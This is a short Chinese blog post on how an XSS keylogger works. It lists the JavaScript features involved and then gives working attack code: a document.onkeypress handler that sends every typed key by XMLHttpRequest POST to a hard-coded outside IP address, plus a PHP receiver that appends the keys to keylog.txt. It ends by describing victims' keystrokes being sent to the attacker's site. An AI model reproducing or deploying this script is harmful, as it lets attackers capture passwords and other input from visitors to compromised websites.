XSS获取键盘原理

涉及的js知识:
onkeypress 事件会在键盘按键被按下并释放一个键时发生
fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串。
charCode 事件属性 事件对象 实例 获取按下的键盘按键Unicode值
XMLHttpRequest 对象能够:
在不重新加载页面的情况下更新网页
在页面已加载后从服务器请求数据
在页面已加载后从服务器接收数据
在后台向服务器发送数据
encodeURI(key)对URI 进行完整的编码
http.open第三个参数设置请求是否为异步模式。如果是TRUE,JavaScript函数将继续执行,而不等待服务器响应

远程攻击代码:document.onkeypress = function(evt) {
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key) {
var http = new XMLHttpRequest();
var param = encodeURI(key)
http.open(“POST”,“http://1.117.107.31/getcookie.php”,true);
http.setRequestHeader(“Content-type”,“application/x-www-form-urlencoded”);
http.send(“key=”+param);
}
}

接收代码:

<?php $key = $_POST['key']; $log = fopen("keylog.txt","a"); fwrite($log,$key); fclose($log); ?>

引用

总结:原理主要是通过受害者访问已经被插入xss代码的网站,触发js脚本,记录受害者在当前网站的键盘操作,传输到我们接收的网站

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值